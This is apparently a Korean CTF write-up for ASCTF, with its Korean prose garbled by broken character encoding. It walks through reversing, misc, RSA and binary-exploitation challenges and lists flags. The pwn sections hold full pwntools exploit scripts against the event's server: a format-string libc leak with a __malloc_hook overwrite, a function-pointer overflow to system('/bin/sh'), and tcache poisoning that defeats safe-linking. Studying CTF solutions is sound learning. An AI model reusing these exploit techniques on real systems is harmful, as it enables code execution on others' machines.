๐งก Rev - One Time Pad
์ฌ์ค KUCIS Project ํ ๋ ๋ด๊ฐ ๋ง๋ ํ๋ก๊ทธ๋จ์ผ๋ก ์๋๋ ์์ผ ํต์ ์ ์ฉ ํ๋ก๊ทธ๋จ์ด๋ค.
OTP๋ฅผ ์ค์ฉ์ ์ผ๋ก ์ด์ฉํ๊ธฐ ์ํ ๋ฐฉ์์ ์ฐ๊ตฌํ๋ ๋์ค ๋์จ ์ปค์คํ
์๊ณ ๋ฆฌ์ฆ์ด๋ค.

๋ค์ ๋ด์ฉ์ ์ด์ฉํ์ฌ ๋ณตํธํ๋ฅผ ์ํํ ์ ์๋ค.
๐ Flag: ASCTF{C#_is_shy}
๐งก MISC - ์ฐ๋ฆฟ์ฐ๋ฆฟ
flag.txt ํ์ผ์ ์ด๋ฉด base64๋ก ์ธ์ฝ๋ฉ๋ ํ ์คํธ๊ฐ ๋์จ๋ค. ๋์ฝ๋ฉ ํ๋ฉด?

ํด๋น ๋ด์ฉ์ caesar cipher key=6์ผ๋ก decrypt ํด์ฃผ๋ฉด ๋ค์ ๋ด์ฉ์ด ๋์จ๋ค.

๋ฌธ์ ์์๋ ํผ์นด์ธ๋ผ๋ ์ฌ์ง์ผ๋ก ํํธ๋ฅผ ์คฌ๋ค.
Picalang์ด๋ผ๋ Brainfuck ์ธ์ด์ด๋ค.
URL: https://www.dcode.fr/pikalang-language
Pikalang Programming Language - Online Pikachu Decoder, Translator
Tool for decoding / encoding in Pikalang. Pikalang (or Pikachu language) is a minimalist programming language based on the Brainfuck for which it substitutes the signs by the syllables of Pikachu.
www.dcode.fr

๐ Flag: ASCTF{Pokemon_Master}
๐งก MISC - Free Flag Program
Python 2.x input ํจ์์ ํน์ฑ์ ์ด์ฉํ ๋ฌธ์ ์ด๋ค.
URL: https://intx0x80.blogspot.com/2017/05/python-input-vulnerability_25.html
python input vulnerability
python input vulnerability hi guys today i will show you how little mistake in write code can lead to expose d...
intx0x80.blogspot.com
Python 2.x์ input ํจ์๋ eval(raw_input())์ ๊ฐ์ ๋์์ ์ํํ๋ฏ๋ก input์ ์์คํ ๋ช ๋ น์ ์ํํ ์ ์๋ค.

๐ Flag: ASCTF{Python2.x_input()_is_same_as_eval(raw_input())}
๐งก Crypto - aRe iS Am (Made by 1nteger_c)
๊ฐ๋จํ RSA Algorithm์ ์ด์ฉํ ๋ฌธ์ ! ๋ง ๊ทธ๋๋ก ํ๋ฉด Flag๋ฅผ ์ค๋ค :D

๐ Flag: ASCTF{BEST_HACKER_DONG_DORODONG_DONG_J00N!_!}
๐งก Binary Exploitation - Welcome
๊ฐ๋จํ ์ค๋ฒํ๋ก์ฐ๋ก ๋ณ์๊ฐ ์ค์ ํ๊ธฐ ๋ฌธ์ !

๊ฐ๋จํ๋๊น.. ํ์ด๋ ์คํต
๐ Flag: ASCTF{we1c0me_t0_ASCTF!}
๐งก Binary Exploitation - Hearing Loss
FSB ๊ด๋ จ ๋ฌธ์ !


Full RELRO๊ฐ ๊ฑธ๋ ค์์ด์ GOT overwrite๊ฐ ๋ถ๊ฐ๋ฅํ๋ค.
๋ต์ glibc ํน์ ๋ฒ์ ์์ ๋ง์ ์์ ๋ฒํผ๋ฅผ ์ถ๋ ฅํ๋ฉด malloc & free๊ฐ ํธ์ถ๋๋ ์ ์ ์ด์ฉํด ์ฒซ๋ฒ์งธ printf์์๋ libc leak, ๋๋ฒ์งธ printf์์๋ hook overwrite, ์ธ๋ฒ์งธ printf์์๋ ๋ฒํผ๋ฅผ ์ถ๋ ฅํ๋ฉด ๋๋๋ฐ ๊ตณ์ด ์ด๋ ๊ฒ ์ํ๊ณ ๋ FSB with ROP๋ rtld overwrite๋ก๋ ํ ์ ์์ ๋ฏํ๋ค.
from pwn import * context.log_level = 'debug' p = remote('pwn.ajouctf.fun', 20002) libc = ELF('./libc.so.6') payload = '%25$p' p.sendafter('?', payload) p.recv(1) leak = int(p.recv(14), 16) base = leak - 231 - libc.symbols['__libc_start_main'] oneshot = base + 0x4f432 malloc_hook = base + libc.symbols['__malloc_hook'] log.success(hex(base)) first = 0 mid = 0 oneshot_first = (oneshot >> 32) & 0xffff oneshot_mid = (oneshot >> 16) & 0xffff oneshot_last = oneshot & 0xffff if oneshot_mid < oneshot_last: mid = 0x10000 + oneshot_mid - oneshot_last else: mid = oneshot_mid - oneshot_last if oneshot_first < oneshot_mid: first = 0x10000 + oneshot_first - oneshot_mid else: first = oneshot_first - oneshot_mid payload = '%{0}c%{1}$hn'.format(oneshot_last, 11).encode() payload += '%{0}c%{1}$hn'.format(mid, 12).encode() payload += '%{0}c%{1}$hn'.format(first, 13).encode() payload += b'A' * (40-len(payload)) payload += p64(malloc_hook) payload += p64(malloc_hook+2) payload += p64(malloc_hook+4) payload += b'%100000c' p.sendafter('again..', payload) p.sendafter(':(', "%70000c"+"\x00"*121) p.interactive()
๐ Flag: ASCTF{Dongjun_has_bad_hearing_:(}
๐งก Binary Exploitation - UNVSA (redeveloped.exd0tpy)
Whois ํ์ ๋ถ์ฅ ํ์ด ์ ์ ์ฌ๋ฏธ๋ก ๋ง๋ค์ด๋จ๋ UNVSA๋ผ๋ ๋ฌธ์ ์์ ๋์ปค ํ๊ฒฝ์ ์กฐ๊ธ ๋ฐ๊พธ๊ณ ์ง์ฆ๋๊ฒ stripped ํ์ฌ ์ถ์ ํ ๋ฌธ์ !

ํด๋น ๋ฃจํด์์ ๊ธธ์ด๋ฅผ ๊ฒ์ฌํ์ง ์๊ณ ์๊ณ ๋ฆฌ์ฆ ์๋์ด ์ํ๋๊ธฐ ๋๋ฌธ์ overflow๊ฐ ๋ฐ์ํ๋ค.

๋ง์ง๋ง ๋ถ๋ถ์์ ์๊ณ ๋ฆฌ์ฆ ๊ฒฐ๊ณผ๊ฐ์ ์ถ๋ ฅํด์ฃผ๋๋ฐ ์ด๋ ํจ์ ํ์ผ๋ก ์ ์ธ๋์ด ์์ด์ ์ด๋ฅผ oneshot ๊ฐ์ ฏ์ผ๋ก ๋ฎ๊ฑฐ๋ system("/bin/sh")๋ก ๋ฎ์ด ์์ ๋ธ ์ ์๋ค.
from pwn import* context.log_level='debug' s = remote('pwn.ajouctf.fun', 20003) libc = ELF('./libc.so') s.recvuntil('Input file content:') s.sendline('.VSA11'+'/\x01b\x01i\x01n\x01/\x01s\x01h\x01;\x01'+'a\x40\xb0\x01\x3f\x01\x40\x01\x00\x05') s.recvuntil('[DATA]\n') leak = u64(s.recv(6) + b'\x00'*2) base = leak - libc.symbols['puts'] log.success(hex(base)) system = base + 0x10a41c payload = b'.VSA11' + b'b\x08' + b'a\x40' payload += b'/\x01b\x01i\x01n\x01/\x01s\x01h\x01;\x01' for i in range(0, 6): payload += p8((system >> (i*8)) & 0xff) + b'\x01' s.recvuntil('Input file content:') s.sendline(payload) s.interactive()
๐ Flag: ASCTF{It_is_an_easy_algorithm_right?}
๐งก Binary Exploitation - Sleeping Baby
ํํ ์๋๋ sleep ๋ถ๋ถ์ด ๊ทธ๋ฅ ๊นก์ผ๋ก ์ฌ๊ฒ ๋ง๋ค์ด๋จ์๋๋ฐ ์๋จน์ ๊ฒ ๊ฐ์์ ์๊ฐ์ 1/33๋ก ์ค์๋ค. sleep ๊ฒฐ๊ณผ์ ์ต์๊ฐ์ ๊ตฌํ๋ ์ฝ๋๋ฅผ ์งค ์ค ์๋๊ฐ์ ์ต์ heap mitigation์ ์์งํ๊ณ ์๋๋ฅผ ๋ฌผ์ด๋ณด๋ ๋ฌธ์ ์ด๋ค. ์๋๋ฉด 0x80000000์ ๋ฃ์ด์ 1/2 ํ๋ฅ ๋ก ๊ฐ์ 0์ผ๋ก ๋ง๋ค ์๋ ์๋ค. ๐ฅ

์ฌ๋ฌ ๋ฐฉ๋ฒ์ ์ด์ฉํด ๋ค์ sleep๋ฌธ์ ๋ค์ด๊ฐ ์ต์๊ฐ์ ๊ตฌํ์ฌ PoW๋ฅผ ํต๊ณผํ๋ฉด main์์ libc ์ ๋ณด๋ฅผ ์ ๊ณตํด์ค๋ค.
PoW๋ฅผ ํต๊ณผํ๋ฉด ๊ฐ๋จํ๊ฒ tcahce poisoning์ ์ผ์ผ์ผ fd ๊ฐ์ ์กฐ์ํ๋ฉด ๋๋ค.
from pwn import * context.log_level = 'debug' p = remote('pwn.ajouctf.fun', 20004) libc = ELF('./libc-2.32.so') arr = [] def mul(a, b): return (a * b) & 0xffffffff def add(idx, size, content): p.sendlineafter('>', '1') p.sendlineafter(':', str(idx)) p.sendlineafter(':', str(size)) p.sendafter(':', content) def remove(idx): p.sendlineafter('>', '2') p.sendlineafter(':', str(idx)) def edit(content): p.sendlineafter('>', '4') p.send(content) def decrypt(heap): key = 0 plain = 0 for i in range(1, 7): bits = 64-12*i if(bits < 0): bits = 0 plain = ((heap ^ key) >> bits) << bits key = plain >> 12 print(hex(plain)) return plain p.recvuntil('is ') random = p.recvline()[:-1] log.success(random) for i in range(1, 2000000): arr.append(mul(int(random), i)) arr_dict = {i+1 : arr[i] for i in range(len(arr))} rev_dict = sorted(arr_dict.items(), key=lambda arr_dict:arr_dict[1]) print('shortest => %s, %s' % (str(rev_dict[0][0]), str(rev_dict[0][1]))) p.sendlineafter('?', str(rev_dict[0][0])) p.recvuntil('=> ') leak = int(p.recv(14), 16) base = leak - libc.symbols['sleep'] system = base + libc.symbols['system'] free_hook = base + libc.symbols['__free_hook'] log.success(hex(base)) add(0, 16, 'AAAA') add(1, 16, 'BBBB') remove(0) remove(1) pause() p.sendlineafter('>', '3') p.recvuntil(': ') heap = u64(p.recv(6).ljust(8, '\x00')) log.success('heap_address -> %s' % hex(heap)) new_heap = decrypt(heap) log.success(hex(free_hook)) log.success(hex(new_heap)) edit(p64(free_hook ^ new_heap >> 12)) add(2, 16, '/bin/sh;') add(3, 16, p64(system)) remove(1) p.interactive()
๐งก Binary Exploitation - herolist_revenge
ํํ.. ๊ท์ฐฎ..
'CTF Write-Up' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[SSTF 2021] Hackers Playground Writeup (2) | 2021.08.18 |
---|---|
[RaRCTF 2021] Only Pwn Writeup (1) | 2021.08.10 |
[UDCTF 2021 | BlueHens 2021] Partial Writeup (0) | 2021.03.22 |
[UTCTF 2021] Partial Writeup (0) | 2021.03.15 |
[zer0pts CTF 2021] Partial Writeup (2) | 2021.03.07 |